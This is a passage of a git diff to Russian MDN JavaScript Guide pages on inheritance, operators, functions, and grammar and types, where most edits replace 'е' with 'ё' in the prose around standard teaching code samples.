объектно-ориентированных языков предоставляют возможность множественного наследования. Когда один ообъект может унаследовать свойства и методы множества других, не связанных друг с другом объектов. В JavaScript такого не предусмотрено.</p> -<p>В JavaScript наследование свойств осуществляется путем поиска в цепочке прототипов. Так как ообъект может иметь лишь единственный присвоенный ему прототип, JavaScript не может осуществить наследование более чем от одной цепочки прототипов.</p> +<p>В JavaScript наследование свойств осуществляется путём поиска в цепочке прототипов. Так как ообъект может иметь лишь единственный присвоенный ему прототип, JavaScript не может осуществить наследование более чем от одной цепочки прототипов.</p> -<p>Однако конструктор в JavaScript может вызывать любое количество вложенных конструкторов. Это дает некоторую, хоть и ограниченную (отсутствием прототипной связанности) видимость множественного наследования. Рассмотрим следующий фрагмент:</p> +<p>Однако конструктор в JavaScript может вызывать любое количество вложенных конструкторов. Это даёт некоторую, хоть и ограниченную (отсутствием прототипной связанности) видимость множественного наследования. Рассмотрим следующий фрагмент:</p> <pre class="brush: js">function Hobbyist (hobby) { this.hobby = hobby || "scuba"; diff --git a/files/ru/web/javascript/guide/expressions_and_operators/index.html b/files/ru/web/javascript/guide/expressions_and_operators/index.html index dea3cef0d6..046e83e9fb 100644 --- a/files/ru/web/javascript/guide/expressions_and_operators/index.html +++ b/files/ru/web/javascript/guide/expressions_and_operators/index.html @@ -59,14 +59,14 @@ translation_of: Web/JavaScript/Guide/Expressions_and_Operators <p>В результате операции присваивания операнду слева от <a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">оператора присваивания</a> (знак "=") устанавливается значение , которое берётся из правого операнда. Основным оператором присваивания является =, он присваивает значение правого операнда операнду, находящемуся слева. Таким образом, выражение x = y означает, что x присваивается значение y.</p> -<p>Существуют также составные операторы присваивания, которые используются для сокращенного представления операций, описанных в следующей таблице:</p> +<p>Существуют также составные операторы присваивания, которые используются для сокращённого представления операций, описанных в следующей таблице:</p> <table class="standard-table"> <caption>Список операторов присваивания</caption> <tbody> <tr> <th>Имя</th> - <th>Сокращенный оператор</th> + <th>Сокращённый оператор</th> <th>Смысл</th> </tr> <tr> @@ -491,7 +491,7 @@ var n3 = !"Cat"; // !t возвращает false <li><code>true</code> || <em>anything - </em>сокращение с результатом true.</li> </ul> -<p>Правила логики гарантируют, что данные вычисления всегда корректны. Обратите внимание, что часть "<em>anything"</em> представленных выше выражений не вычисляется, таким образом удается избежать любых побочных эффектов вычисления данной части.</p> +<p>Правила логики гарантируют, что данные вычисления всегда корректны. Обратите внимание, что часть "<em>anything"</em> представленных выше выражений не вычисляется, таким образом удаётся избежать любых побочных эффектов вычисления данной части.</p> <h3 id="Строковые_операторы">Строковые операторы</h3> @@ -499,7 +499,7 @@ var n3 = !"Cat"; // !t возвращает false <pre class="brush: js">console.log("my " + "string"); // в консоли выведется строка "my string".</pre> -<p>Сокращенный оператор присваивания += также может быть использован для объединения (конкатенации) строк:</p> +<p>Сокращённый оператор присваивания += также может быть использован для объединения (конкатенации) строк:</p> <pre class="brush: js">var mystring = "alpha"; mystring += "bet"; // получается значение "alphabet" и присваивается mystring. </pre> @@ -548,7 +548,7 @@ delete property; // допустимо только внутри with <p>где <code>objectName</code> представляет собой имя объекта, <code>property</code> - свойство объекта, а <code>index</code> - целое число, указывающее на положение (номер позиции) элемента в массиве.</p> -<p>Четвертый вариант использования позволяет удалить свойство объекта, но допускается только внутри <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code>.</p> +<p>Четвёртый вариант использования позволяет удалить свойство объекта, но допускается только внутри <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code>.</p> <p>Вы можете использовать оператор <code>delete</code> для удаления переменных, объявленных неявно, но вы не можете с его помощью удалять переменные, объявленные с помощью <code>var</code>.</p> @@ -569,7 +569,7 @@ delete myobj; // возвращает true (можно удалить объе <p>Удаление элемента массива не влияет на длину массива. Например, если вы удалите <code>a[3]</code>, элемент <code>a[4]</code> останется <code>a[4],</code> <code>a[3]</code> станет undefined.</p> -<p>Когда элемент массива удаляется с помощью оператора <code>delete</code>, то из массива удаляется значение данного элемента. В следующем примере элемент <code>trees[3]</code> удален с помощью оператора <code>delete</code>. Однако, элемент <code>trees[3]</code> остается адресуемым и возвращает значение <code>undefined</code>.</p> +<p>Когда элемент массива удаляется с помощью оператора <code>delete</code>, то из массива удаляется значение данного элемента. В следующем примере элемент <code>trees[3]</code> удалён с помощью оператора <code>delete</code>. Однако, элемент <code>trees[3]</code> остаётся адресуемым и возвращает значение <code>undefined</code>.</p> <pre class="brush: js">var trees = new Array("redwood", "bay", "cedar", "oak", "maple"); delete trees[3]; @@ -578,7 +578,7 @@ if (3 in trees) { } </pre> -<p>Если вы хотите, чтобы элемент оставался в массиве, но имел значение undefined, то используйте ключевое слово <code>undefined</code> вместо оператора <code>delete</code>. В следующем примере элементу <code>trees[3]</code> присвоено значение <code>undefined</code>, но элемент при этом остается в массиве:</p> +<p>Если вы хотите, чтобы элемент оставался в массиве, но имел значение undefined, то используйте ключевое слово <code>undefined</code> вместо оператора <code>delete</code>. В следующем примере элементу <code>trees[3]</code> присвоено значение <code>undefined</code>, но элемент при этом остаётся в массиве:</p> <pre class="brush: js">var trees = new Array("redwood", "bay", "cedar", "oak", "maple"); trees[3] = undefined; @@ -665,7 +665,7 @@ void expression <pre class="brush: html"><A HREF="javascript:void(0)">Нажмите здесь, чтобы ничего не произошло</A> </pre> -<p>Приведенный ниже код создает гипертекстовую ссылку, которая подтверждает отправку формы при клике на ней пользователем:</p> +<p>Приведённый ниже код создаёт гипертекстовую ссылку, которая подтверждает отправку формы при клике на ней пользователем:</p> <pre class="brush: html"><A HREF="javascript:void(document.form.submit())"> Нажмите здесь, чтобы подтвердить отправку формы</A></pre> @@ -728,7 +728,7 @@ if (theDay instanceof Date) { <p><em>Приоритет</em> операторов определяет порядок их выполнения при вычислении выражения. Вы можете влиять на приоритет операторов с помощью скобок.</p> -<p>Приведенная ниже таблица описывает приоритет операторов от наивысшего до низшего.</p> +<p>Приведённая ниже таблица описывает приоритет операторов от наивысшего до низшего.</p> <table class="standard-table"> <caption>Таблица 3.7 Приоритет операторов</caption> @@ -875,18 +875,18 @@ a + (b * c) // 7 // что эквивалентно следующему a * c + b * c // 9</pre> -<h4 id="Упрощенный_синтаксис_создания_массивов_и_генераторов">Упрощенный синтаксис создания массивов и генераторов</h4> +<h4 id="Упрощённый_синтаксис_создания_массивов_и_генераторов">Упрощённый синтаксис создания массивов и генераторов</h4> -<p>Упрощенный синтаксис - экспериментальная возможность JavaScript, которая возможно будет добавлена в будущие версии ECMAScript. Есть 2 версии синтаксиса:</p> +<p>Упрощённый синтаксис - экспериментальная возможность JavaScript, которая возможно будет добавлена в будущие версии ECMAScript. Есть 2 версии синтаксиса:</p> <dl> <dt>{{experimental_inline}} {{jsxref("Operators/Array_comprehensions", "[for (x of y) x]")}}</dt> - <dd>Упрощенный синтаксис для массивов.</dd> + <dd>Упрощённый синтаксис для массивов.</dd> <dt>{{experimental_inline}} {{jsxref("Operators/Generator_comprehensions", "(for (x of y) y)")}}</dt> - <dd>Упрощенный синтаксис для генераторов.</dd> + <dd>Упрощённый синтаксис для генераторов.</dd> </dl> -<p>Упрощенные синтаксисы существуют во многих языках программирования и позволяют вам быстро собирать новый массив, основанный на существующем. Например:</p> +<p>Упрощённые синтаксисы существуют во многих языках программирования и позволяют вам быстро собирать новый массив, основанный на существующем. Например:</p> <pre class="brush: js">[for (i of [ 1, 2, 3 ]) i*i ]; // [ 1, 4, 9 ] diff --git a/files/ru/web/javascript/guide/functions/index.html b/files/ru/web/javascript/guide/functions/index.html index 2e62690a66..ef48cf9b64 100644 --- a/files/ru/web/javascript/guide/functions/index.html +++ b/files/ru/web/javascript/guide/functions/index.html @@ -43,7 +43,7 @@ translation_of: Web/JavaScript/Guide/Functions <ul> <li>Имя функции.</li> - <li>Список параметров (принимаемых функцией) заключенных в круглые скобки <code>()</code> и разделенных запятыми.</li> + <li>Список параметров (принимаемых функцией) заключённых в круглые скобки <code>()</code> и разделённых запятыми.</li> <li>Инструкции, которые будут выполнены после вызова функции, заключают в фигурные скобки <code>{ }</code>.</li> </ul> @@ -92,7 +92,7 @@ var x = square(4); // x получает значение 16 console.log(factorial(3)); </pre> -<p>Функции вида "function definition expression" удобны, когда функция передается аргументом другой функции. Следующий пример показывает функцию <code>map</code>, которая должна получить функцию первым аргументом и массив вторым.</p> +<p>Функции вида "function definition expression" удобны, когда функция передаётся аргументом другой функции. Следующий пример показывает функцию <code>map</code>, которая должна получить функцию первым аргументом и массив вторым.</p> <pre class="brush: js">function map(f, a) { var result = [], // Create a new Array @@ -184,7 +184,7 @@ d = factorial(4); // d gets the value 24 e = factorial(5); // e gets the value 120 </pre> -<p>Есть другие способы вызвать функцию. Существуют частые случаи, когда функции необходимо вызывать динамически, или поменять номера аргументов функции, или необходимо вызвать функцию с привязкой к определенному контексту. Оказывается, что функции сами по себе являются объектами, и эти объекты в свою очередь имеют методы (посмотрите объект <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function" title="The Function constructor creates a new Function object. Calling the constructor directly can create functions dynamically, but suffers from security and similar (but far less significant) performance issues similar to eval. However, unlike eval, the Function constructor allows executing code in the global scope, prompting better programming habits and allowing for more efficient code minification."><code>Function</code></a>). Один из них это метод <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="The apply() method calls a function with a given this value, and arguments provided as an array (or an array-like object).">apply()</a></code>, использование которого может достигнуть этой цели.</p> +<p>Есть другие способы вызвать функцию. Существуют частые случаи, когда функции необходимо вызывать динамически, или поменять номера аргументов функции, или необходимо вызвать функцию с привязкой к определённому контексту. Оказывается, что функции сами по себе являются объектами, и эти объекты в свою очередь имеют методы (посмотрите объект <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function" title="The Function constructor creates a new Function object. Calling the constructor directly can create functions dynamically, but suffers from security and similar (but far less significant) performance issues similar to eval. However, unlike eval, the Function constructor allows executing code in the global scope, prompting better programming habits and allowing for more efficient code minification."><code>Function</code></a>). Один из них это метод <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="The apply() method calls a function with a given this value, and arguments provided as an array (or an array-like object).">apply()</a></code>, использование которого может достигнуть этой цели.</p> <h2 id="Область_видимости_функций"><a id="definition" name="definition"></a>Область видимости функций</h2> @@ -202,7 +202,7 @@ function multiply() { return num1 * num2; } -multiply(); // вернет 60 +multiply(); // вернёт 60 // Пример вложенной функции function getScore() { @@ -216,7 +216,7 @@ function getScore() { return add(); } -getScore(); // вернет "Chamahk scored 5" +getScore(); // вернёт "Chamahk scored 5" </pre> <h2 id="Scope_и_стек_функции"><a id="definition" name="definition"></a>Scope и стек функции</h2> @@ -309,7 +309,7 @@ foo(3); <p>Поскольку вложенная функция это closure, это означает, что вложенная функция может "унаследовать" (<em>inherit</em>) аргументы и переменные функции, в которую та вложена. Другими словами, вложенная функция содержит scope внешней (<em>"outer"</em>) функции.</p> -<p>Подведем итог:</p> +<p>Подведём итог:</p> <ul> <li>Вложенная функция имеет доступ ко всем инструкциям внешней функции.</li> @@ -350,7 +350,7 @@ result1 = outside(3)(5); // возвращает 8 <h3 id="Сохранение_переменных">Сохранение переменных</h3> -<p>Обратите внимание, значение <code>x</code> сохранилось, когда возвращалось <code>inside</code>. Closure должно сохранять аргументы и переменные во всем scope. Поскольку каждый вызов предоставляет потенциально разные аргументы, создается новый closure для каждого вызова во вне. Память может быть очищена только тогда, когда <code>inside</code> уже возвратился и больше не доступен.</p> +<p>Обратите внимание, значение <code>x</code> сохранилось, когда возвращалось <code>inside</code>. Closure должно сохранять аргументы и переменные во всем scope. Поскольку каждый вызов предоставляет потенциально разные аргументы, создаётся новый closure для каждого вызова во вне. Память может быть очищена только тогда, когда <code>inside</code> уже возвратился и больше не доступен.</p> <p>Это не отличается от хранения ссылок в других объектах, но часто менее очевидно, потому что не устанавливаются ссылки напрямую и нельзя посмотреть там.</p> @@ -379,9 +379,9 @@ A(1); // в консоле выведится 6 (1 + 2 + 3)</pre> <li>Раз closure функции <code>B</code> включает <code>A</code>, то closure <code>С</code> тоже включает A, <code>C</code> имеет доступ к аргументам и переменным обоих функций <code>B</code> <em>и</em> <code>A</code>. Другими словами, <code>С</code> связывает <em>цепью</em> (<em>chain</em>) scopes функций <code>B</code> и <code>A</code> в таком порядке.</li> </ol> -<p>В обратном порядке, однако, это не верно. <code>A</code> не имеет доступ к переменным и аргументам <code>C</code>, потому что <code>A</code> не имеет такой доступ к <code>B</code>. Таким образом, <code>C</code> остается приватным только для <code>B</code>.</p> +<p>В обратном порядке, однако, это не верно. <code>A</code> не имеет доступ к переменным и аргументам <code>C</code>, потому что <code>A</code> не имеет такой доступ к <code>B</code>. Таким образом, <code>C</code> остаётся приватным только для <code>B</code>.</p> -<h3 id="Конфликты_имен_Name_conflicts">Конфликты имен (Name conflicts)</h3> +<h3 id="Конфликты_имён_Name_conflicts">Конфликты имён (Name conflicts)</h3> <p>Когда два аргумента или переменных в scope у closure имеют одинаковые имена, происходит <em>конфликт имени</em> (<em>name conflict</em>). Более вложенный (<em>more inner</em>) scope имеет приоритет, так самый вложенный scope имеет наивысший приоритет, и наоборот. Это цепочка областей видимости (<em>scope chain</em>). Самым первым звеном является самый глубокий scope, и наоборот. Рассмотрим следующие:</p> @@ -395,7 +395,7 @@ A(1); // в консоле выведится 6 (1 + 2 + 3)</pre> outside()(10); // возвращает 20 вместо 10</pre> -<p>Конфликт имени произошел в инструкции <code>return x * 2</code> между параметром <code>x</code> функции <code>inside</code> и переменной <code>x</code> функции <code>outside</code>. Scope chain здесь будет таким: {<code>inside</code> ==> <code>outside</code> ==> глобальный объект (<em>global object</em>)}. Следовательно <code>x</code> функции <code>inside</code> имеет больший приоритет по сравнению с <code>outside</code>, и нам вернулось 20 (= 10 * 2), а не 10 (= 5 * 2).</p> +<p>Конфликт имени произошёл в инструкции <code>return x * 2</code> между параметром <code>x</code> функции <code>inside</code> и переменной <code>x</code> функции <code>outside</code>. Scope chain здесь будет таким: {<code>inside</code> ==> <code>outside</code> ==> глобальный объект (<em>global object</em>)}. Следовательно <code>x</code> функции <code>inside</code> имеет больший приоритет по сравнению с <code>outside</code>, и нам вернулось 20 (= 10 * 2), а не 10 (= 5 * 2).</p> <h2 id="Замыкания"><a id="definition" name="definition"></a>Замыкания</h2> @@ -407,7 +407,7 @@ outside()(10); // возвращает 20 вместо 10</pre> <p>Также, поскольку вложенная функция имеет доступ к scope внешней функции, переменные и функции, объявленные во внешней функции, будет продолжать существовать и после её выполнения для вложенной функции, если на них и на неё сохранился доступ (имеется ввиду, что переменные, объявленные во внешней функции, сохраняются, только если внутренняя функция обращается к ним).</p> -<p>Closure создается, когда вложенная функция как-то стала доступной в неком scope вне внешней функции.</p> +<p>Closure создаётся, когда вложенная функция как-то стала доступной в неком scope вне внешней функции.</p> <pre class="brush: js">var pet = function(name) { // Внешняя функция объявила переменную "name" var getName = function() { @@ -568,7 +568,7 @@ multiply(5); // 5</pre> <h3 id="Оставшиеся_параметры_Rest_parameters">Оставшиеся параметры (Rest parameters)</h3> -<p><a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">Оставшиеся параметры</a> предоставляют нам массив неопределенных аргументов. В примере мы используем оставшиеся параметры, чтобы собрать аргументы с индексами со 2-го до последнего. Затем мы умножим каждый из них на значение первого аргумента. В этом примере используется стрелочная функция (<u><em><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a>)</em></u>, о которой будет рассказано в следующей секции.</p> +<p><a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">Оставшиеся параметры</a> предоставляют нам массив неопределённых аргументов. В примере мы используем оставшиеся параметры, чтобы собрать аргументы с индексами со 2-го до последнего. Затем мы умножим каждый из них на значение первого аргумента. В этом примере используется стрелочная функция (<u><em><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a>)</em></u>, о которой будет рассказано в следующей секции.</p> <pre class="brush: js">function multiply(multiplier, ...theArgs) { return theArgs.map(x => multiplier * x); @@ -607,7 +607,7 @@ console.log(a3); // logs [8, 6, 7, 9]</pre> <h3 id="Лексика_this">Лексика <code>this</code></h3> -<p>До стрелочных функций каждая новая функция определяла свое значение <code>this</code> (новый объект в случае конструктора, undefined в strict mode, контекстный объект, если функция вызвана как метод объекта, и т.д.). Это оказалось раздражающим с точки зрения объектно-ориентированного стиля программирования.</p> +<p>До стрелочных функций каждая новая функция определяла своё значение <code>this</code> (новый объект в случае конструктора, undefined в strict mode, контекстный объект, если функция вызвана как метод объекта, и т.д.). Это оказалось раздражающим с точки зрения объектно-ориентированного стиля программирования.</p> <pre class="brush: js">function Person() { // Конструктор Person() определяет `this` как самого себя. @@ -616,14 +616,14 @@ console.log(a3); // logs [8, 6, 7, 9]</pre> setInterval(function growUp() { // Без strict mode функция growUp() определяет `this` // как global object, который отличается от `this` - // определенного конструктором Person(). + // определённого конструктором Person(). this.age++; }, 1000); } var p = new Person();</pre> -<p>В ECMAScript 3/5 эта проблема была исправлена путем присвоения значения <code>this</code> переменной, которую можно было бы замкнуть.</p> +<p>В ECMAScript 3/5 эта проблема была исправлена путём присвоения значения <code>this</code> переменной, которую можно было бы замкнуть.</p> <pre class="brush: js">function Person() { var self = this; // Некоторые выбирают `that` вместо `self`. diff --git a/files/ru/web/javascript/guide/grammar_and_types/index.html b/files/ru/web/javascript/guide/grammar_and_types/index.html index 6618946fbb..3807d40ef0 100644 --- a/files/ru/web/javascript/guide/grammar_and_types/index.html +++ b/files/ru/web/javascript/guide/grammar_and_types/index.html @@ -51,13 +51,13 @@ translation_of: Web/JavaScript/Guide/Grammar_and_types <h3 id="Переменные">Переменные</h3> -<p>Вы можете использовать переменные как символические имена для значений в вашем приложении. Имена переменных называются {{Glossary("Identifier", "identifiers")}} и должны соответствовать определенным правилам.</p> +<p>Вы можете использовать переменные как символические имена для значений в вашем приложении. Имена переменных называются {{Glossary("Identifier", "identifiers")}} и должны соответствовать определённым правилам.</p> -<p>Идентификатор в JavaScript должен начинаться с буквы, нижнего подчеркивания (_) или знака доллара ($); последующие символы могут также быть цифрами (0-9). Поскольку JavaScript чувствителен к регистру, буквы включают символы от "A" до "Z" (верхний регистр) и символы от "a" до "z" (нижний регистр).</p> +<p>Идентификатор в JavaScript должен начинаться с буквы, нижнего подчёркивания (_) или знака доллара ($); последующие символы могут также быть цифрами (0-9). Поскольку JavaScript чувствителен к регистру, буквы включают символы от "A" до "Z" (верхний регистр) и символы от "a" до "z" (нижний регистр).</p> <p>Вы можете использовать в идентификаторах буквы ISO 8859-1 или Unicode, например, å или ü. Вы также можете использовать<a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals"> управляющие последовательности Unicode</a> как символы в идентификаторах.</p> -<p>Некоторые примеры корректных имен: <code style="font-style: normal;">Number_hits</code>, <code style="font-style: normal;">temp99</code>, <code style="font-style: normal;">_name</code>.</p> +<p>Некоторые примеры корректных имён: <code style="font-style: normal;">Number_hits</code>, <code style="font-style: normal;">temp99</code>, <code style="font-style: normal;">_name</code>.</p> <h3 id="Объявление_переменных">Объявление переменных</h3> @@ -95,7 +95,7 @@ let x; </pre> <span class="function token" style="color: #dd4a68;">doThat<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">}</span></code></pre> -<p>Значение <code>undefined</code> ведет себя как <code>false</code>, когда используется в логическом контексте. Например, следующий код выполняет функцию <code>myFunction</code>, т.к. элемент <code>myArray</code> не определен:</p> +<p>Значение <code>undefined</code> ведёт себя как <code>false</code>, когда используется в логическом контексте. Например, следующий код выполняет функцию <code>myFunction</code>, т.к. элемент <code>myArray</code> не определён:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> myArray <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">;</span> <span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span><span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">!</span>myArray<span class="punctuation token" style="color: #999999;">[</span><span class="number token" style="color: #990055;">0</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">)</span> { @@ -108,7 +108,7 @@ let x; </pre> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> a<span class="punctuation token" style="color: #999999;">;</span> a <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="number token" style="color: #990055;">2</span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // NaN</span></code></pre> -<p>Значение {{jsxref("null")}} ведет себя как 0 в числовом контексте и как <code>false</code> в логическом контексте:</p> +<p>Значение {{jsxref("null")}} ведёт себя как 0 в числовом контексте и как <code>false</code> в логическом контексте:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> n <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="keyword token" style="color: #0077aa;">null</span><span class="punctuation token" style="color: #999999;">;</span> console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>n <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">*</span> <span class="number token" style="color: #990055;">32</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // В консоль выведется 0</span></code></pre> @@ -124,7 +124,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <span class="punctuation token" style="color: #999999;">}</span> console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>x<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">// 5</span></code></pre> -<p>Такое поведение меняется, если используется оператор <code>let</code>, введенный в ECMAScript 6:</p> +<p>Такое поведение меняется, если используется оператор <code>let</code>, введённый в ECMAScript 6:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span><span class="keyword token" style="color: #0077aa;">true</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">let</span> y <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">5</span><span class="punctuation token" style="color: #999999;">;</span> @@ -133,7 +133,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <h3 id="Поднятие_переменных">Поднятие переменных</h3> -<p>Другим необычным свойством переменных в JavaScript является то, что можно сослаться на переменную, которая объявляется позже, и не получить при этом исключения. Эта концепция известна как <strong>поднятие</strong> (hoisting) переменных; переменные в JavaScript поднимаются в самое начало функции или выражения. Однако, переменные, которые еще не были инициализированы, возвратят значение <code>undefined</code>:</p> +<p>Другим необычным свойством переменных в JavaScript является то, что можно сослаться на переменную, которая объявляется позже, и не получить при этом исключения. Эта концепция известна как <strong>поднятие</strong> (hoisting) переменных; переменные в JavaScript поднимаются в самое начало функции или выражения. Однако, переменные, которые ещё не были инициализированы, возвратят значение <code>undefined</code>:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">/* * Example 1 @@ -151,7 +151,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla </span> <span class="keyword token" style="color: #0077aa;">var</span> myvar <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"local value"</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code></pre> -<p>Приведенные выше примеры будут интерпретироваться так же, как:</p> +<p>Приведённые выше примеры будут интерпретироваться так же, как:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">/* * Example 1 @@ -209,7 +209,7 @@ var baz = function() { <h3 id="Константы"><a id="Constants" name="Constants">Константы</a></h3> -<p>Вы можете создать именованную константу, доступную только для чтения, используя ключевое слово {{jsxref("Statements/const", "const")}}. Синтаксис идентификатора константы является таким же, как и у идентификатора переменной: он должен начинаться с буквы, нижнего подчеркивания или знака $ и может содержать буквы, цифры или нижнее подчеркивание.</p> +<p>Вы можете создать именованную константу, доступную только для чтения, используя ключевое слово {{jsxref("Statements/const", "const")}}. Синтаксис идентификатора константы является таким же, как и у идентификатора переменной: он должен начинаться с буквы, нижнего подчёркивания или знака $ и может содержать буквы, цифры или нижнее подчеркивание.</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">const</span> PREFIX <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">'212'</span><span class="punctuation token" style="color: #999999;">;</span></code></pre> @@ -260,7 +260,7 @@ MY_OBJECT.key = "otherValue";</pre> <h3 id="Преобразование_типов_данных">Преобразование типов данных</h3> -<p>JavaScript — это динамически типизированный язык. Это означает, что вам не нужно указывать тип данных переменной, когда вы ее объявляете, типы данных преобразуются автоматически по мере необходимости во время выполнения скрипта. Так, например, вы можете определить переменную следующим образом:</p> +<p>JavaScript — это динамически типизированный язык. Это означает, что вам не нужно указывать тип данных переменной, когда вы её объявляете, типы данных преобразуются автоматически по мере необходимости во время выполнения скрипта. Так, например, вы можете определить переменную следующим образом:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> answer <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">42</span><span class="punctuation token" style="color: #999999;">;</span></code></pre> @@ -313,9 +313,9 @@ MY_OBJECT.key = "otherValue";</pre> <h3 id="Литерал_массива">Литерал массива</h3> -<p>Литерал массива — это список из нуля или более выражений, каждое из которых представляет элемент массива, заключенный в квадратные скобки ( <code>[]</code> ). Когда вы создаете массив, используя литерал массива, он инициализируется с помощью переданных значений, которые будут являться его элементами, длина массива будет равна числу переданных аргументов.</p> +<p>Литерал массива — это список из нуля или более выражений, каждое из которых представляет элемент массива, заключённый в квадратные скобки ( <code>[]</code> ). Когда вы создаёте массив, используя литерал массива, он инициализируется с помощью переданных значений, которые будут являться его элементами, длина массива будет равна числу переданных аргументов.</p> -<p>В следующем примере создается массив <code>coffees</code> с тремя элементам и длиной, равной трем:</p> +<p>В следующем примере создаётся массив <code>coffees</code> с тремя элементам и длиной, равной трём:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> coffees <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span><span class="string token" style="color: #669900;">"French Roast"</span><span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">"Colombian"</span><span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">"Kona"</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">;</span></code> </pre> @@ -324,7 +324,7 @@ MY_OBJECT.key = "otherValue";</pre> <p><strong>Замечание :</strong> Обратите внимание на то, что литерал массива является инициализатором объекта. Чтобы получить более подробную информацию, прочитайте <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Working_with_Objects#.D0.98.D1.81.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5_.D0.B8.D0.BD.D0.B8.D1.86.D0.B8.D0.B0.D0.BB.D0.B8.D0.B7.D0.B0.D1.82.D0.BE.D1.80.D0.BE.D0.B2_.D0.BE.D0.B1.D1.8A.D0.B5.D0.BA.D1.82.D0.B0">Использование инициализаторов объекта</a>.</p> </div> -<p>Если массив создается с помощью литерала в скрипте верхнего уровня, то JavaScript интерпретирует массив каждый раз, когда вычисляет выражение, содержащее литерал. Кроме того, литерал, используемый в функции, создается каждый раз, когда вызывается функция.</p> 